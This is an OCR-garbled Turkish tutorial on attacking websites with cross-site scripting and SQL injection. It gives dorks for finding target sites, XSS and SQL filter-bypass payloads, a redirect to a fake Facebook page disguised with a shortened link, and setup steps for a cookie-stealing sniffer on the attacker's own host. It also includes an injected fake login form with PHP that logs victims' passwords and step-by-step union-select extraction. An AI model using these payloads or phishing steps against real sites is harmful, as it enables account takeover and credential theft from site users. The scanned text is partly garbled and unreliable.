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# Onsoz :

Merhabalar

Bu makalemizde Web Guvenligini tehdit eden glvenlik zafiyetlerini ayrintili olarak taniyacagiz.Ayrica
bypass edilmesinden, s6z konusu agigin kullanimindan, neler yapilabileceginden ve daha birgok seyden
bahsedecegim.. Oncelikle sunu belirtmek isterim; siber diinyada hig bir zaman %100 glivenlik diye bir terim
yoktur. Her ne kadar guvenlik dnlemi alirsaniz alin, bir web sitesinin, Network aginin veya kendi
glivenliginizi %100 olarak saglayamazsiniz. Oncelikle Web Application’s (Web Uygulama) terimini
taniyalhim.

Web Application’s, Web Uygulamalarinin timiiniin igerisinde bulundugu bir yapidir.(SQL injection ,
XSS (Cross Site Scripting), LFI/ RFI, XSRF/CSRF).Biz bu makalede bunlari ve bunlar gibi nice
uygulamalari ele alacagiz. Makalemizin sonunda Umid ederim Ki; ilgi alani web olan/olmayan
arkadaslarimizin ilgisi ve ilimi daha da artarak yiikselecektir.ilk olarak ana baglklarimizi ve yan
basliklarimizi taniyahm.
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1-Cross Site Scripting Nedir?

Kelime manasi “Capraz Kod Calistirmak” dir. Tehlikeli bir agik oldugu gibi cok basit bir zafiyettir. Cok
blylk sistemlerde bile rastlanabilen bir tir'dur.

2-Cross Site Scripting Hangi Mantiga Dayalidir?

Web Sayfalarinda oturum agarken “Beni Animsa” , “Oturumumu Sadrekli Agik Tut” seklinde
seceneklerle karsilasiriz.Bu segeneklere tikladiktan sonra oturum acgtigimizda Sistem tarafindan
bilgisayarimiza “Cookie” diye tabir ettigimiz ki¢lk metin dosyalari saklanir..Bunun sebebi o Web

sayfasina bir dahaki ziyaretimizde bizi tanimasi ve bizden giris i¢in kullanici adi ve sifre
istememesidir. XSS Aciginin mantigi da buna dayalidir.Bir Web Sayfasinda XSS Zaafiyeti bulup, o
Web Sayfasina lye olan kisilerin oturum bilgilerini yani Cookielerini ¢alip, Cookie degisikligine sebep
olup hesabi ele gegirmektir..

3-Cross Site Scripting Agigi igin Lazim Olan Metaryeller?

Bir Web sayfasinda XSS ac¢iginin oldugunu anlamak igin bize uygun bir tarayici lazim.Ben Mozilla
Kullaniyorum.Siz Dilerseniz Opera Kullanabilirsiniz.

Acid1 bulduktan sonra hedef sitenin Admin sifresine ulagsmak istiyorsak bize lazim olacak sey bir XSS
Sniffer kurmaktir.Bunu ilerleyen vakitlerde agagida gorecegiz.

4-Cross Site Scripting ile Neler Yapabiliriz.?

Yukarida bahsettigim gibi bir web sitesinde XSS Zafiyeti bulup o web sitesindeki Kullanicilarin veya
site yOneticisi olan Admin’nin Cookielerini ¢calip hesabi ele gegirebiliriz.XSS A¢i§1 sadece buna
yaramaz.Javascript kodlariyla backlink yapabilir yada kurbana saglam bir Keylogger yedirebiliriz.

5-Cross Site Scripting A¢igl Nerelerde Bulunur?

a-) Search Kutularinda

XSS agigi bir gcok yerde bulunabilir..Eger bir XSS Agidi ariyorsaniz sizlere birkag dork verip onun
Uzerinde denemeler yapabilirsiniz.Dork;



inurl:”search.php?id="
inurl:”index.php?id="

inurl:”kayit.php?id="

bu dorklar gogaltilabilir...

Search (Arama) Kutularinda, id= degeri, ziyaretci defterleri, Kayit Formlari, Yorum Formlari vb
yerlerde de bulunabilir.Bir Search kutusu disunun;

Search kutusuna XSS agiginin olup olmadigini anlamak igin bir alert kodu yazalim;
<script>alert(“Buralar eskiden hep XSS di.”);</script> ..

Yazdiktan sonra arama butonuna tikliyoruz. Eger acik mevcut ise ekrana bir alert yansiyacaktir, su
sekilde;

Buralar Eskiden Hep XS5 di

. Tamam

b-) id= Degerinin Bulundugu Yerlerde

Bir Web sayfasi dusiiniin ; www.hedefsite.com/deger.php?id=3 seklinde olsun..ld= dederinin sag
tarafinda bulunan rakam, harf, kelime veya her ne ise silip, onun yerine ac¢ik oldugunu anlamamiz igin
alert kodunu yaziyoruz;

www.hedefsite.com/deger.php?id= <script>alert(“Buralar Eskiden Hep XSS di ”);</script>

Daha sonra bu gonderdigimiz sorgu ile ekrana alttaki sekilde bir alert yansiyorsa acik oldugunu tekrar
anliyoruz.;


http://www.hedefsite.com/deger.php?id=3
http://www.hedefsite.com/deger.php?id

Buralar Eskiden Hep #55 di

Tatmam

c-) Ziyaretgi Defterlerinde (STORED XSS)

Isimm:

Ernail: I
Kaonu; Il

Mesaj: [

(s T ele L G LT 6

Ustte goriilen resim bir sitede bulunan ziyaretci defteridir.Ziyaretgi Defterleri web sayfalari igin gok
tehlike arz eden yerlerdir.Bu zaafiyet tiriine STORED XSS Zaafiyeti denilir.Buraya yazdigimiz bir
HTML veya Javascript kodu herkez tarafindan gérulebildigi icin sayfada galistiginda ziyaret¢i defterine
giren herkez tarafindan sizin girdiginiz kod c¢alisacaktir.Yani gireceginiz HTML Meta yonlendirme kodu
sayfaya giren sahislari hedef adreslere yonlendirecektir.Bu saldiriya biraz daha sis katmak igin
Phising sayfaniza veya Fake sayfaniza yonlendirme yapabilirsiniz.Simdi burada gorilen kutucuklara
XSS Alert kodunu yaziyoruz.;



Isimm: ?_%sn:ript}alert["h.-“lahser"];::f:

Mail:  mahser@gmail.com
K ;«:isu:rip_t:balertl{"hﬂahaer'_'j_l_;fif:

MESEJ: ...................................................

SESIEEDRE0E

Eder acik varsa sayfa bizim kodumuzu galistiracaktir.Yani ekrana alert gelecektir.;

Mahzer

Tamarm

d-) Kayit Formlarinda
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ki kelimesyi yazin:

Kayit Formlari XSS Acigi icin olanak saglyor.Kayit Formlari genellikle Forum sitelerde
mevcuttur.Forum siteleri cogunluk olarak hazir sistem kullanirlar.(MyBB, Vb, SMF vs vs)

Eger bir forumda hazir sistem kuruluysa veya surim olarak belirli bir sirimu varsa ki genelde olur;
Exploit sitelerinden O sistemin surimunu arastirabilir, XSS Aciklari mevcutsa Exploit yardimiyla agigi
somirebilirsiniz.Biz sistem kullaniimayan bir forum sitesinden devam edelim :) Ustte gérildiigu gibi bir
kayit formu mevcut.Buradaki kutucuklara tipki ziyaretgi formlarindaki gibi XSS Alert kodlarimizi entegre
ediyoruz.Eger agik mevcutsa alert alinir.



e-) Yorum Formlarinda

Bu sikkimizi Cyber-Warrior’dan alinti yaparak anlatayim..

Konu Baghdinda Tarmd bayik harF kullanmriak kesinlikle vasaktic | Sadece kelime bas harflerini Biiyik harf rapabilirsiniz
Diklat : Ofururm sontanma siresi 120 dk'dic. Bu sire ||;er|5|n|:|e e saHnizl gu:rndarmemlssenlz Copy/paste ile hafizaya almiz.

- Faont - V| |-- -~ Renk - V‘| Forurn Kodlan

0000OCLODO « v

Mesaj L

#F

yar | Mesajiniza §at1_efu:e izin verilen sitelerdén resim ekleyebilirsiniz, izinli sitelerin listesini Garmelk icin tiklayvin

imzarmi mesajin sonuna ekle

Cevap Yaz | | Onizleme yap | | Sifirla
- ;

Goruldugu gibi bir konun altinda mevcut olan yorum yazma texti..

Burada Mesaj *: text bélumune XSS Alert kodumuzu yaziyoruz;



conu Bashginda Tama biyol harf kollanmak kesinlikle vasaktr | Sadece kelime bas harflerini Bayik harf Yapabilirsiniz
ikkat @ Cturum sonlanma siresi 120 dk'dirs Bu stre icerisinde mesajimzi géndermemizseniz Copy/paste ile hafizayva aliniz.

|- Font - v| [ Boyut - ] [-- Renk v Forum Kodlan

0O00POEPOOO (=~

Mesaj *:

Uyar | Mesajimza sadece izin verilen sitelerden resim ekleyebilirsiniz, izinli sitelerin listesini Gormel icin fiklayin

Irmzarmi mesajin sonuna ekle

[ Cevap Yaz ] [ Cnizleme yap ] [ =ifirla ]

Evet XSS Alert kodumuzu da yazdiktan sonra cevap yaz butonuna tikliyoruz.Eger ki XSS Agigi
olsaydi alert alacaktik.Konuya giren kisiler tarafindan da gérulecekti.Yani bu kod onlar konuya girildigi
esnada galigsacak ve onlara da alert verecekti.Buraya ben XSS Alert kodu degil de Fake sayfama
yoénlendirmesi icin bir kod yazsaydim konuya giren kisiler benim belirledigim adrese yonlenecekti.Ama
dyle bir acik olmadigdi icin CW ‘de baska kapiya :))

6-Saldiri Ani (Acigin Bulunmasi) - A¢igin Bypass Edilmesi.(Engellerin Agimi)

Bir Web Sayfasi dusundn; www.hedef.com/index.php?id=

XSS Acigi arayalim hemen; www.hedef.com/index.php?id= <script>alert(“Mahser”);</script>

Yaptik Ekrana alert yansimadi.Pesmi edecediz? Hayir tabi ki de..Herseyin bir yolu oldugu gibi
bununda bir yolu var.Normal sartlarda bu sitede agik oldugunu disinin.Ama bize alert vermedi.Bizde
bu acigI bypass ederek ekrana alert'imizi alacagiz.Nasil mi? ;

a-) HTML Bypass Code

Evet ilk bypass yontemimizde <script>alert(“Mahser”);</script> Alert kodumuzu HTML Encode
edecez yani Sifreleyecegiz.Hemen bakalim;


http://www.hedef.com/index.php?id

Normal Kod:
<script=alert("Mahsel");</script>

Sifrelenmis Kod:

<5cript

type="textfavascript"=document write WOO7FWOO03CWO00 7 3W006 3007 2500

BAW00T 007003008 T00ECW0065W007 2007 40028002 2004
D006 10063007 20065007 2002250029002 BW003CW002F W00y 3

WO0G3W00 7 2006900007 w00 7 Au003E"), </script>

Ne Yaptik? HTML Encoder ile kodumuzu sifreledik.Simdi bu sekilde acgik analizi yapalim;

www.hedef.com/index.php?id= <script
type="text/javascript">document.write("\\u007F\\u003C\u0073\\u0063\\u0072\\u0069\\u0070\u0074\\u
003EW\W0061\\u006C\\u0065\\u0072\\u0074\\u0028\\u0022\\u004D\\u0061\\u0068\\u0073\\u0065\u007
2\\u0022\\u0029\\u003B\\u003C\u002F\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074\\uO03E’);</script>

Bu sefer ekrana alert yansidigini géreceksiniz..;

Mahzer

Tamam |

b-) Bypass JavaScript Code

Evet bu sikkimizda ise Javascript kodlariyla oynayarak bypass yontemini gerceklestiricez. Tekrar
hedef site Uzerine yogunlasalim;

www.hedef.com/index.php?id= <script>alert(“Mahser”);</script>



http://www.hedef.com/index.php?id
http://www.hedef.com/index.php?id

Seklinde giriyoruz.Alert alamadik.Hemen kodlarla oynayalim farki gérelim;

Mormal Kod:

<script=alent)"Mahser') </script>

Javascript Bypass Kod:

<5cRip T=alet{"Mahser) <fScRipT=

Evet kodumuzla oynadik tekrar hedef site Uzerinde agik analizi yaptigimizda alert alacagiz.

c-)Normal Bypass

Sira Geldi Normal Bypass Yoluna.Bu bypass tirtinde alert kodumuzla pek oynama
yapmayacagiz.Alert kodumuzun basina bir midahalede bulunarak alert alacagiz;

Mormal Kod:

zscript=alent("Mahser") =fscript=

Eypass Kod:

"=oscript=alent{"Mahser") </fscript=

Evet bu sekilde de farkli bir bypass yéontemi uyguladik.Burada ki “> kodu daha anlasilir ve koda netlik
katar.Bu yolla da bir alert aldik.Sira geldi agigin uygun kullanimina...

7-Saldin Ani12 (Agigin Uygun Kullanimi) -

Cross Site Scripting acigini bulduktan sonra en énemli faktérlerden birisi de agigin uygun
kullanimidir.A¢ig1 ne kadar iyi sémurdrseniz sizin i¢in o derece iyidir. XSS Acgiginin sadece site
hacklemek icin degil, Siteye Uye kisilerin bilgilerini almak icin, hesaplari ele gecirmek icin veya bir



kurbana phising, fake benzeri sayfalar yutturmak igin de kullanabilirsiniz.Biz bu sefer XSS Agigini
kurbani fake facebook sayfamiza yonlendirmek icin kullanacagiz.Hemen basliyoruz.

Hedef sitemiz ; www.target.com olsun.A¢i§i buldugumuz dosya home.php dosyasi olsun ve veriyi id
ile cagirsin.; www.target.com/home.php?id= seklinde..

Simdi biz buraya dyle bir kod yazagiz ki bizi hazirladigimiz fake facebook sayfasina yénlendirsin.
Yazacagimiz kod su sekildedir;

www.target.com/home.php?id="><script>document.location.href= "www.fakefacebooksayfam.com"
</script>

Evet sorguyu site Ustinde gagirdigimiz da bizi www.fakefacebooksayfam.com adresine
yonlendiricektir.Bunu kurbana atacaksiniz.Fakat link ¢cok uzun kurbanimiz burada bir seytanlik
oldugunu anlayabilir.Peki ne yapaca@iz? https://bitly.com/ adresine giriyoruz.Sag Ust kosede bir
kutucuk mevcut.O kisma www.target.com/home.php?id="><script>document.location.href=
"www.fakefacebooksayfam.com" </script>

adresimizi yaziyoruz ve Shorten butonuna tikliyoruz. Burada yaptigimiz islem link kisaltmaktir.

Bize http://bit.ly/49856821 Seklinde bir kisaltiimis link verecek.Kurban link kisa oldugu igin
suphelenmez.Bu sekilde kurbana yedirme sansimiz vardir.

8-Saldiri Ani13 (Uygun Sniffer Yazilimi,Sniffer Nedir?)

Sniffer Nedir?

Sniffer kelime manasiyla koklayici anlamina gelir.Sniffer birgok seyi i¢in kullanilabilir.Biz burada XSS
Sniffer hazirlayacagiz.XSS Sniffer ne ise yarar diye soracaksiniz.Bir XSS Ac¢igi buldugumuzu farz
edelim.Admin in veya Siteye Uye olan kullancilarin Cookie’lerini Calicaz ve Kendi cookielerimizle
degistirip o kullanici adina giris yapmis olacagiz.Buldugumuz agigi Sniffer'a kuracagiz.Daha sonra
kendi hostumuza atacaz ve sniffer’t kurban’a tiklatacagiz.Bu Sekilde Kurbanin Cookielerini
¢alacagiz.Yani biraz olsa da Sosyal Mihendislik ile alakalidir..

isleme baglamadan Sniffer dosyalarini vereyim sizlere;

Bu linkten ulasabilirsiniz - > https://www.box.com/s/d45q4d5ywdzxwcn7n7wn



http://www.target.com
http://www.target.com/home.php?id
http://www.fakefacebooksayfam.com
https://bitly.com/
http://bit.ly/49856821
https://www.box.com/s/d45q4d5ywdzxwcn7n7wn

Hemen kuruluma geciyoruz;
Editleyecegimiz dosyalar “ch.js" ve "index.html ilk olarak ch.js dosyasini agiyoruz.

http://SITE ADRESI/Sniffer/sniffer.php?c= Seklinde bir yaziyla karsilagiyoruz SITE ADRESI yazan
kisma dosyalari atacagimiz sitenin adresini yaziyoruz.(Sniffer dosyasi adi altinda)

http://benimsitem.com/Sniffer/sniffer.php?c= kaydedip kapatiyoruz.

Simdi ise index.html dosyamizi editleyecegiz. Notepad de actiginizda http://XSS ADRESI= seklinde
bir yaziyla kargilasacagiz.XSS Adresi yazan kisma, XSS A¢igini buldugumuz siteyi yazalim;

http://target.com/index.php?id= yazdiktan sonra biraz sag tarafta bulunan http://SITE
ADRESI/Sniffer/ch.js

SITE ADRESI yazan kismada Ustte oldugu gibi kendi sitemizin adini yaziyoruz.;

http://benimsitem.com/Sniffer/ch.js yazdik.Kaydedip kapatiyoruz.

Daha sonra sniffer klasérimzu sitemize FTP araciligiyla atiyoruz.Hemen kendi sitemizde
calistiriyoruz snifferimizi.; http://benimsitem.com/Sniffer/log.php seklinde log panelimizi ¢cagiriyoruz.Bu
adres cookielerin log olarak tutulacagi adresdir.Giris yaptigimizda bizden Kullanici adi , sifre
isteyecektir.Kullanici adi : admin sifresi: admin’dir..

Girdikten sonra bizi log paneline aktaracaktir.A¢ig1 buldugumuz siteden bir kurbana veya admin’e linki
tiklatmadigimiz igin Log panelinde “Henlz Log bulunamadi” seklinde bir yazi ¢gikacaktir.

Bizim admin’e tiklatmamiz gereken link index.html dosyasidir.Yani
http://benimsitem.com/Sniffer/index.html ‘dir.Buraya girdiginiz de bir admin paneli gelecek
karsimiza..Bu admin panelini sahte bir admin panelidir.Yani admin’in anlamamasi i¢in kurulmus bir
paneldir.Sizin yapacaginiz sadece admin’e veya kurbana http://benimsitem.com/Sniffer/index.html
linkini tiklatmaktir.Biraz sosyal muhendislik gerekiyor burada tiklatmak igin..Tiklattiktan sonra admin’in
veya kurbanin cookie bilgileri;

http://benimsitem.com/Sniffer/log.php adresine gelecektir.

9-Sonug (Elimize Gegen Cookie (Gerez)’i Degistirme ve Hedef Veriye Ulagmak)


http://benimsitem.com/Sniffer/log.php
http://benimsitem.com/Sniffer/index.html
http://benimsitem.com/Sniffer/index.html
http://benimsitem.com/Sniffer/log.php

Cookieleri ¢cektik, Cookie’ler elimizde..Cookielerin son satirinda Username ve Password kismi
bulunmaktadir.Yani su sekilde;

[Username]= admin; UserinfoCookie[Password]= mahserat

Evet gorildigu gibi kullanici adi admin sifresi de mahserat mis..Bu sekilde Adminin Bilgilerinede
Erismis olduk..

10-Cross Site Scripting Acigi Olan Bir Siteye Fake Login Sayfasi Birakmak.

Son olarak XSS Agigi buldugumuz bir siteye Fake bir Login sayfasi birakacagiz.

Acigi buldugumuz link: www.site.com/index.php?id= oldugunu farz edelim.Buraya HTML kodlariyla bir
Login Kismi olusturucagiz.

www.site.com/index.php?id= "><hmtl><head><meta content="text/html;
charset=1S0-8859-1"http-equiv="content-type" /><title></title></head><bOdy><div style="text-aling:
center;"><form method="POST" action="fakesayfa.php" name="form">Fake Login: <br><br>Kullanici
adi:<br><input type="text" value="" ><br>Sifre:<br> <input name="Pass" type="password"
[><br><br><input name="valid" value="Gonder" type="submit" /><br></form></div></bOdy></htmI|>

Bu Sekilde bir HTML Kodu enjekte ettik siteye.Fake bir Login kismi Urettik.fakesayfa.php dosyasina
dikkat edelim arkadaslar ;

fakesayfa.php;

<?php
$login = $ POST[login’;
$password=$_POST['Password’];
$open = fopen(’log.htm’ , ’a+’);
fputs($open, 'Login:’ . $login. '<br>’ .’

Password :’ . $password . '<br>’ . ’<br>’);


http://www.site.com/index.php?id
http://www.site.com/index.php?id

?>

fakesayfa.php dosyasi log.htm dosyasi olusturuyor.Loglarimizi tutuyor...

Evet arkadaslar artik XSS ‘i ayrintisina kadar 6grendiniz ©

SQL Injection

SQL (Structured Query Language)

SQL injection diinya iizerinde en ¢ok ilgi gérev Web Uygulama zaafiyetidir.Sitelerdeki SQL
veritabanina odakli bir saldiri ¢esididir.Kaba tabirle SQL veritabaninin galistiracagi SQL komutlariyla,
SQL injection zaafiyeti bulunan bir sitedeki veri gecisini kullanarak kendi mevfaatlerimiz gergevesinde
hedef veriyi galmak igin kullanihr.

2- SQL injection’un Mantigi Nedir?

Deminde bahsettigim gibi SQL Veritabani odakh bir zaafiyet oldugu i¢in direk veritabaniyla ilgili
saldirilar yapilir.Yani bize gerekli olan biraz SQL Komutu bilmektir.Akilda kalicilik agisindan komik bir
Ornek vereyim ;

Bir HEDIYE kutusu var.O hediye kutusunun igerisinde hediyenin oldugunu diisiinelim.Kutuyu agtiniz
ve baktiniz ki icerisinde bir kutu daha var.Onu da agtiniz onun igerisinde de bir kutu var onu da actiktan
sonra son kutumuza geliyoruz.O kutunun igerisinde hediye yani hedef verimiz mevcuttur. :)



ik kutuyu tablo olarak, ikinci kutumuzu tablo icerisindeki kolon olarak, Ugiincii kutumuzun igerisindeki
hediyeyi de hedef veri olarak gorebiliriz.Yani ic ice gegmis bir yapi olarak hayal edebiliriz..

3- Temel SQL Komutlarini Tanityalim.

SQL injection saldirisinda bulunurken ne kadar SQL Komutunu taniyorsaniz o kadar iyidir.Ciinkii
SQL injection saldirisini yaparken SQL Komutlarini kullaniriz.

SELECT - Veri segmek igin

CREATE - Tablo yaratmak igin
INSERT - Tablo eklemesi yapmak igin
UPDATE - Veri glincelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den, - dan , beri )

WHERE - Nereden, neresi, nerede

Kisacak bu komutlarla SQL injection saldirisini gegeklestirecegiz.Bunlari bilmekte fayda var..

4- SQL injection ile Neler Yapilabilir?

SQL injection saldirisi ile veri silebilir, ekleyebilir, degistirebiliriz.Bunlari yapmak icin sistemde birkag
iznimizin olmasi gerekiyor.Yani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlari
yapamayiz.SQL Injection saldirnisi gogunlukla hedef sistemin ydnetici sifresini ele gegirerek sisteme
yonetici gibi giris yapip sistemi hacklemek icin kullanilir. Ama ne yazik ki SQL injection saldirisi ile
yapabileceklerimizin sadece bunlarla sinirli oimadigini tlkemizdeki cogu kimse bilmiyor.Gegenlerde bir
yerde okumustum onu da sizlerle paylasayim.Yabanci tlkede bir Hacker, blyuk bir sisteminde SQL
injection agigi bulmus.Daha sonra veritabanin da ki tim kredi karti bilgilerini galmis.Toplam olarak kag
kredi karti caldigini bilmiyorum ama ¢ok yikli miktarda mevla kaldirmis.Ama biz tabii ki Dinimizin
geregince haram para ve kazangta gézimuiz yok.Haram olan bir kazancin bize yarari
dokunmayacagini biliriz.

5- SQL injection Agigi Nerelerde Bulunabilir? Belirli Bir Dork’u Varmidir?



SQL injection ¢ok genis kapsamli ve gok tehlikeli bir agiktir. Tim sistemlerde rastlanabilen bir agiktir.

SQL injection saldirilarinin id= degerlerinin bulundugu sitelerde, Search (Arama) kutucuklarinda,
formlarda vs yerlerde bulunabilir.Yani veri aligverisinin yapildigi her yerde bulunabilir.Size baslangi¢
icin bir Dork verecegim.Dork’'u Google’da arattiginizda karsiniza bir suru site gelecek.Bu sitelerde id
degerinin bulundugu yerlerde SQL Injection acig1 aramasi yapabilirsiniz.

Dork: inurl:”.php?id=" site:sy -> bu dorkta sunu dedik.(Suriye) Sy sitelerinde, .php?id= degerinin
bulundugu siteleri gdster...SQL injection saldirisina asagida deginecegiz..

6- Cesitli Yerlerde SQL injection Saldirisi Yapmak.

Yukarida da bahsettigim gibi SQL injection saldirisini birgok yerde yapabiliriz.Simdi bu acidi iyice bir
taniyalim..

a-) SQL injection Agigi Nasil Tespit Edilir? (Tipik SQL injection Hatasi)

Bir Web Site distnin.; www.sitem.com/sayfa.php?id=1 seklinde..

Burada SQL Acidinin olup olmadigini id= deg@erinin sol tarafindaki degerin sonuna veya degerin
basina ‘ veya ‘a koyarak anlayabiliriz.Yani linkimizin son sekli;

www.sitem.com/sayfa.php?id=1" veya www.sitem.com/sayfa.php?id=1’a seklinde oluyor..

Eee tamam ben ayni sekilde yaptim agik oldugunu nasil anlayacagim?

SQL Aciklarini Tipik olarak bize verdigi hatadan anlariz.Yani hatalar SQL injection cesitlerine gére
degiskenlik gdsterebiliyor.Biz suanda normal bir SQL Agiginin nasil bulanacagina yogunlasalim.

Ornek bir SQL injection hatasi;

&« - C [ fasdf.com;qwe.php?id

You have an errar in your SAL syntax; check the manual that corresponds to your MySQAL Server version far the

right syntax to use near ‘2™ at line 1 K

Evet ‘ koyduktan sonra bu hatayi aliyorsak, burada SQL injection acidi oldugunu kavriyoruz.

b-) Search Kutularinda SQL inject. Agigi Aramak.


http://www.sitem.com/sayfa.php?id=1
http://www.sitem.com/sayfa.php?id=1
http://www.sitem.com/sayfa.php?id=1'a

Search Arama kelimesinin ingilizce kavramidir.Simdi sitelerdeki Search kutularinda SQL Acigi
arayacagiz.

Arama yap: k Ara

Search kutucugu gérdiguniz yerlere ‘ - ‘a gibi isaretleri yapip ara butonuna tikliyoruz.Eger ekranda
tekrardan bir SQL injection hatasi aliyorsaniz Search dosyasinda agik oldugunu anlyoruz.

c-) Kayit Formlarinda SQL inject. Agigi Aramak.

Kayit formlarinin siteler i¢in ¢ok tehlike arz eden kisimlar oldugundan bahsetmistik.Yukarida da
XSS agiginin nasil aranacaginda gérmustuk.Hemen SQL Agiginin nasil aranacagdina bakiyoruz;

A —e a

SOy ALt ‘_.:-"' E'_a

DOGUM TARH 1 v1 v1911 v (g - i =yl
DOGUM YER —_— a

CINSIYET O ermer O pavan

MESLEK

ADRES _> ;:a

Evet gorildigu tzere tum text’lere ‘a yazilmis.Daha sonra Génder Butonu veya kayit ol butonu varsa
tikladigimizda bizim kargimiza tekrar SQL Hatasi geliyorsa kayit dosyasinda acik oldugunu anlariz.

d-) ID Degerinin Bulundugu Sitelerde SQL inject. Agigi Aramak.



Simdi iD degerinin bulundugu yerlerde SQL Agig1 aramayi gérecegiz.iD degeri degiskenlik
g6sterebilir.Siteyi kodlayan Coder kardesimiz Veri alisverisinde iD dederi yerine cat= s= i= q= vs
degerler koyabilir.Yani bu Coder kardesimizin elinde olan biseydir..Biraz farkllik agisindan ben suan iD
degeri yerine cat= degerini kullanarak SQL Acigi arayacagim..

L C' [ www vila-yianna,gr feng/main phjcat ="

You have an errar in your SAL syntax, checl the manual that corresponds to your MySQAL server version for
the right syntax to use near " at line 3 &

Evet gorilduga Uzere cat= ile alinmis bir veri.Veri numarasi 9 mus..

Gordigu gibi degerde bir acgik s6z konusu..

e-) Ziyaretgi Defterinde SQL injection Agigi Aramak.

Ziyaretgci Defterleri Hackerlar icin bir nimet sayilabilir.(Guvenligin saglanmamasi durumunda)

Simdi bir ziyaretci defterinde SQL Agid1 arayalim.Ziyaretgi Defterinin tim text kutularina ‘ veya ‘a
isaretlerinden birini koyuyoruz;

lzim: [
=Ml mahserat@gmail.co..
Konu: |’ '
Mesaj: I

i £y olo b L G ST S

Seklinde...Génder butonuna bastiginizda eger bir SQL Hatasiyla karsilastiysaniz burada bir SQL
Aciginin oldugunu anlarsiniz.



7-Saldirn Ani(SQL Agiginin Tespiti)

Bir Web Sayfasi disiundn.;

www.sayfam.com/dosya.php?id=2 olsun.Burada acik tespiti yapalim hemen;

www.sayfam.com/dosya.php?id=2" Koyduk hata aldik.Yani bir SQL Ac¢i§i s6z konusu..Simdi SQL
Acigini aldik ama ne yapacagimizi bilmiyoruz ? Yapacagimiz islem ¢ok basit.;

8-Saldiri Ani2(Kolon Sayisi Ogrenmek, Kolon Sayisi Nedir? Neye Yarar?)

Evet acgik tespitini yaptik.Simdi kolon sayisini bulacagiz.Ama dncesinde Kolon sayisi nedir neye yarar
bir g6z atalim;

Veritabanindaki sutiinlara kolon (column) denir.igerisinde verileri barindirir.Pek agiklamaya gerek
yok.SQL Programlama dilini 6grenecek arkadaslar ayrintilari zaten 6grenecektirler..

Evet agigin oldugu sitemiz ; www.sayfam.com/dosya.php?id=2’ idi.Simdi ORDER BY Komutu ile
Kolon sayisini 6grenelim;

www.sayfam.com/dosya.php?id=2+order+by+1 yapiyoruz.Sayfa eski haline geri déndu.

www.sayfam.com/dosya.php?id=2+order+by+10 yapiyoruz.Ekrana;

Urkrnown colurmn '10" in 'arder clause’

Seklinde bir hata geldi.Yani burada bize kolon sayisinin 10 ‘dan kiguk oldugunu séyliyor.Hemen bir
bir asag iniyoruz.;

www.sayfam.com/dosya.php?id=2+order+by+9 yaptik.Sayfa tekrar ayni hatayi verdi.

www.sayfam.com/dosya.php?id=2+order+by+8 yapiyoruz sayfa diizeldi.Yani Kolon sayisi 8'mis..

Dipnot: Eger order+by+8 yaptiginizda ekrana birsey yansimiyor veya sayfa dizelmiyorsa link sonuna
-- veya --x , +-- seklinde isaretler koyarak net sonugclar alabilirsiniz.


http://www.sayfam.com/dosya.php?id=2
http://www.sayfam.com/dosya.php?id=2
http://www.sayfam.com/dosya.php?id=2
http://www.sayfam.com/dosya.php?id=2+order+by+1
http://www.sayfam.com/dosya.php?id=2+order+by+10
http://www.sayfam.com/dosya.php?id=2+order+by+9
http://www.sayfam.com/dosya.php?id=2+order+by+8

9-Saldirnn Ani3(Ekrana Kolon Sayisini Yansitma - Aksi Halde Bypass)

Evet kolon sayimizi 6grendik.Kolon sayimiz 8mis.Simdi ekrana kolonlari yansitacagiz.Daha sonra
ekrana yansiyan kolonlardan islemlerimize devam edecegiz.Kolon sayilarini yansitma iglemini UNION
SELECT komutlari ile yapiyoruz.Hemen baslayalim.;

Ornek; www.sayfam.com/sayfa.php?id=2+union+select+ kolon sayilarimiz.-- seklinde hemen
yapalim;

www.sayfam.com/sayfa.php?id=2+union+select+1,2,3,4,5,6,7,8-- yazdik.Sayfamiza 1,2,3,4,5,6,7,8
sayllarindan hangileri yansidiysa o sayilardan birini segiyoruz ve o sayi ile devam edegiz..

-Bypass: Yukarida ekrana kolon sayilarini yansitmistik.Ekrana kolonlarin yansimadigini farz
edelim.Burada devreye bypass giriyor.Bypass’in net bir tanimi yoktur.Ama bu sekilde saldirilar
yaptigimizda bizim karsimiza gikan engelleri bazi yollarla asmanin genel ismidir bypass..

Simdi www.sayfam.com/sayfa.php?id=2+union+select+1,2,3,4,5,6,7,8-- seklinde yazdik ekrana kolon
yansimadi.Bypass’i devreye sokacaz hemen;

www.sayfam.com/sayfa.php?id=2+/*lunion*/+/*!select*/+1,2,3,4,5,6,7,8-- seklinde /*!*/ ifadesini
kullanarak bypass ediyoruz.Bu sekilde genelde ekrana kolon sayisi yansir.Ama bununda fayda
etmedigi yerler oluyor.O Vakit ;

www.sayfam.com/sayfa.php?id=2+union+(select+1,2,3,4,5,6,7,8--) veya
www.sayfam.com/sayfa.php?id=-2+//union//+select//+1,2,3,4,5,6,7,8-- yapiyoruz.Bu genelde fayda
eder ama bunuda kabul etmedigi zamanlarda sunlari yapabiliriz;

www.sayfam.com/sayfa.php?id=-2+Unlon+SelLeCt+1,2.3,4,5,6,7.8-- ,

www.sayfam.com/sayfa.php?id=-2+#union#+#select#+1,2,3.4,5,6,7,8-- ,

www.sayfam.com/sayfa.php?id=-2+/**/union/**/+/**/select/**/+1,2,3,4,5,6,7.,8-- ,

www.sayfam.com/sayfa.php?id=-2+/*union*/+/*select*/+1,2,3,4,5,6,7,8-- sekillerindede bu hatalari
asmamiz mumkundur.Bununla ilgili Web Guvenlik Agiklari bélimiinde yeterince konum mevcuttur..



http://www.sayfam.com/sayfa.php?id=2+union+select+1,2,3,4,5,6,7,8--
http://www.sayfam.com/sayfa.php?id=2+union+select+1,2,3,4,5,6,7,8--
http://www.sayfam.com/sayfa.php?id=2+/*!union*/+/*!select*/+1,2,3,4,5,6,7,8--
http://www.sayfam.com/sayfa.php?id=2+union+(select+1,2,3,4,5,6,7,8--)
http://www.sayfam.com/sayfa.php?id=-2+//union//+select//+1,2,3,4,5,6,7,8--
http://www.sayfam.com/sayfa.php?id=-2+UnIon+SeLeCt+1,2,3,4,5,6,7,8--
http://www.sayfam.com/sayfa.php?id=-2+#union#+#select
http://www.sayfam.com/sayfa.php?id=-2+/**/union/**/+/**/select/**/+1,2,3,4,5,6,7,8--
http://www.sayfam.com/sayfa.php?id=-2+/*union*/+/*select*/+1,2,3,4,5,6,7,8--

